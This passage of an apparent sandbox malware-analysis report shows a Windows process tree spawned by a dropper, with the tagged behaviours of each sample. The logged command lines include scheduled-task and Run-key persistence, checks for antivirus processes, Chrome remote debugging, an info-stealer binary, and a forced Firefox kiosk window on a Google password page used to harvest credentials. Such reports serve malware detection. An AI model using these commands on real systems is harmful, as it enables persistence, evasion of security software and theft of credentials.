                                                                                                                                                  • C:\Users\Admin\Desktop\Files\npp.exe
                                                                                                                                                    "C:\Users\Admin\Desktop\Files\npp.exe"
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                    PID:32460
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1433113541.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\1433113541.exe
                                                                                                                                                      4⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                      PID:31240
                                                                                                                                                      • C:\Windows\sysnldcvmr.exe
                                                                                                                                                        C:\Windows\sysnldcvmr.exe
                                                                                                                                                        5⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        • Suspicious behavior: SetClipboardViewer
                                                                                                                                                        PID:30788
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2207920789.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2207920789.exe
                                                                                                                                                          6⤵
                                                                                                                                                          • Checks computer location settings
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:12568
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                                                                                                                                                            7⤵
                                                                                                                                                              PID:12100
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                                                                                                                                                                8⤵
                                                                                                                                                                  PID:11496
                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:11856
                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                    schtasks /delete /f /tn "Windows Upgrade Manager"
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:11372
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\283149805.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\283149805.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:8392
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2612231338.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2612231338.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:7544
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\3987121400.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\3987121400.exe
                                                                                                                                                                    7⤵
                                                                                                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                    PID:23996
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\3193919340.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\3193919340.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:23932
                                                                                                                                                            • C:\Users\Admin\Desktop\Files\x.exe
                                                                                                                                                              "C:\Users\Admin\Desktop\Files\x.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:29300
                                                                                                                                                            • C:\Users\Admin\Desktop\Files\Sentil.exe
                                                                                                                                                              "C:\Users\Admin\Desktop\Files\Sentil.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:28824
                                                                                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                "schtasks" /create /tn "Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client1.exe" /rl HIGHEST /f
                                                                                                                                                                4⤵
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:28356
                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\SubDir\Client1.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\SubDir\Client1.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                PID:28228
                                                                                                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                                                                                  "schtasks" /create /tn "Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client1.exe" /rl HIGHEST /f
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                  PID:28008
                                                                                                                                                            • C:\Users\Admin\Desktop\Files\3yh8gdte.exe
                                                                                                                                                              "C:\Users\Admin\Desktop\Files\3yh8gdte.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:11660
                                                                                                                                                            • C:\Users\Admin\Desktop\Files\exbuild.exe
                                                                                                                                                              "C:\Users\Admin\Desktop\Files\exbuild.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Checks computer location settings
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:11908
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                PID:12408
                                                                                                                                                            • C:\Users\Admin\Desktop\Files\Edge.exe
                                                                                                                                                              "C:\Users\Admin\Desktop\Files\Edge.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:12972
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Edge.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Edge.exe"
                                                                                                                                                                4⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:13012
                                                                                                                                                            • C:\Users\Admin\Desktop\Files\_vti_cnf.exe
                                                                                                                                                              "C:\Users\Admin\Desktop\Files\_vti_cnf.exe"
                                                                                                                                                              3⤵
                                                                                                                                                              • Modifies WinLogon for persistence
                                                                                                                                                              • Disables RegEdit via registry modification
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                              • Enumerates connected drives
                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                              PID:15576
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /C AT /delete /yes
                                                                                                                                                                4⤵
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                PID:15756
                                                                                                                                                                • C:\Windows\SysWOW64\at.exe
                                                                                                                                                                  AT /delete /yes
                                                                                                                                                                  5⤵
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:16068
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:16104
                                                                                                                                                                  • C:\Windows\SysWOW64\at.exe
                                                                                                                                                                    AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
                                                                                                                                                                    5⤵
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:16432
                                                                                                                                                              • C:\Users\Admin\Desktop\Files\service.exe
                                                                                                                                                                "C:\Users\Admin\Desktop\Files\service.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:15948
                                                                                                                                                              • C:\Users\Admin\Desktop\Files\payload.exe
                                                                                                                                                                "C:\Users\Admin\Desktop\Files\payload.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:21484
                                                                                                                                                              • C:\Users\Admin\Desktop\Files\myrdx.exe
                                                                                                                                                                "C:\Users\Admin\Desktop\Files\myrdx.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                PID:15608
                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                  4⤵
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:15496
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 15608 -s 256
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Program crash
                                                                                                                                                                  PID:15252
                                                                                                                                                              • C:\Users\Admin\Desktop\Files\t2.exe
                                                                                                                                                                "C:\Users\Admin\Desktop\Files\t2.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                PID:31824
                                                                                                                                                              • C:\Users\Admin\Desktop\Files\XSploitLauncher.exe
                                                                                                                                                                "C:\Users\Admin\Desktop\Files\XSploitLauncher.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:39752
                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\svchost.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\svchost.exe"
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:40072
                                                                                                                                                                  • C:\Users\Admin\Desktop\Files\ufw.exe
                                                                                                                                                                    "C:\Users\Admin\Desktop\Files\ufw.exe"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:40056
                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:40424
                                                                                                                                                                      • C:\Users\Admin\Desktop\Files\random.exe
                                                                                                                                                                        "C:\Users\Admin\Desktop\Files\random.exe"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:40392
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:40904
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1007643001\GuidanceConnectors.exe
                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1007643001\GuidanceConnectors.exe"
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:42600
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:42772
                                                                                                                                                                                      • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                        tasklist
                                                                                                                                                                                        7⤵
                                                                                                                                                                                        • Enumerates processes with tasklist
                                                                                                                                                                                        PID:44672
                                                                                                                                                                                      • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                        findstr /I "wrsa opssvc"
                                                                                                                                                                                        7⤵
                                                                                                                                                                                          PID:44680
                                                                                                                                                                                        • C:\Windows\SysWOW64\tasklist.exe
                                                                                                                                                                                          tasklist
                                                                                                                                                                                          7⤵
                                                                                                                                                                                          • Enumerates processes with tasklist
                                                                                                                                                                                          PID:45196
                                                                                                                                                                                        • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                          findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                                                                                                                                                                          7⤵
                                                                                                                                                                                            PID:45204
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            cmd /c md 390641
                                                                                                                                                                                            7⤵
                                                                                                                                                                                              PID:45732
                                                                                                                                                                                            • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                              findstr /V "ConventionTroopsStudiedTooth" Version
                                                                                                                                                                                              7⤵
                                                                                                                                                                                                PID:45792
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
                                                                                                                                                                                                7⤵
                                                                                                                                                                                                  PID:46144
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                                                                  Imposed.com B
                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                    PID:46252
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\390641\Imposed.com
                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                        PID:224
                                                                                                                                                                                                    • C:\Windows\SysWOW64\choice.exe
                                                                                                                                                                                                      choice /d y /t 5
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                        PID:46364
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1007698001\stealc_main1.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1007698001\stealc_main1.exe"
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:43292
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1007699001\425ba127be.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\1007699001\425ba127be.exe"
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:44812
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                                                                          PID:3952
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffbc333cc40,0x7ffbc333cc4c,0x7ffbc333cc58
                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                              PID:3420
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1960,i,8852076091567413774,14791258173645793327,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1892 /prefetch:2
                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                PID:2368
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2060,i,8852076091567413774,14791258173645793327,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2168 /prefetch:3
                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                  PID:3068
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2244,i,8852076091567413774,14791258173645793327,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2264 /prefetch:8
                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                    PID:3852
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,8852076091567413774,14791258173645793327,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3208 /prefetch:1
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                    • Uses browser remote debugging
                                                                                                                                                                                                                    PID:34388
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3216,i,8852076091567413774,14791258173645793327,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3340 /prefetch:1
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                    • Uses browser remote debugging
                                                                                                                                                                                                                    PID:2372
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1007704001\b068333316.exe
                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1007704001\b068333316.exe"
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:45416
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1007705001\274631fc07.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\1007705001\274631fc07.exe"
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:36408
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\1007706001\c2822b7f19.exe
                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\1007706001\c2822b7f19.exe"
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                      PID:46636
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /IM firefox.exe /T
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:46664
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /IM chrome.exe /T
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:1432
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /IM msedge.exe /T
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:2004
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /IM opera.exe /T
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:1816
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                        taskkill /F /IM brave.exe /T
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                                                                        PID:1408
                                                                                                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:33776
                                                                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                              PID:2672
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /IM firefox.exe /T
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:6420
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /IM chrome.exe /T
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:30664
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /IM msedge.exe /T
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:31592
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /IM opera.exe /T
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:29576
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                            taskkill /F /IM brave.exe /T
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                            PID:856
                                                                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:28264
                                                                                                                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                  PID:28236
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1007707001\1481ab69fa.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\1007707001\1481ab69fa.exe"
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:2668
                                                                                                                                                                                                                        • C:\Users\Admin\Desktop\4363463463464363463463463.exe
                                                                                                                                                                                                                          "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          PID:29012
                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\Files\o.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\Files\o.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                            PID:28408
                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\Files\3544436.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\Files\3544436.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            PID:28080
                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                                                                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:27540
                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\aaa.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\aaa.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                              PID:27784
                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\3.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\3.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                              PID:27612
                                                                                                                                                                                                                          • C:\Users\Admin\Desktop\4363463463464363463463463.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                            PID:14156
                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\peinf.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\peinf.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                              PID:19292
                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\AA_v3.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\AA_v3.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                              PID:19700
                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\Charter.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\Charter.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:20004
                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\Files\tt.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Desktop\Files\tt.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                              PID:20196
                                                                                                                                                                                                                              • C:\Users\Admin\sysmablsvr.exe
                                                                                                                                                                                                                                C:\Users\Admin\sysmablsvr.exe
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • Modifies security service
                                                                                                                                                                                                                                • Windows security bypass
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Windows security modification
                                                                                                                                                                                                                                • Suspicious behavior: SetClipboardViewer
                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                PID:21156
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\225004785.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\225004785.exe
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:32032
                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\Files\PsExec64.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\Files\PsExec64.exe"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                PID:21816
                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\Files\11.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Desktop\Files\11.exe"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
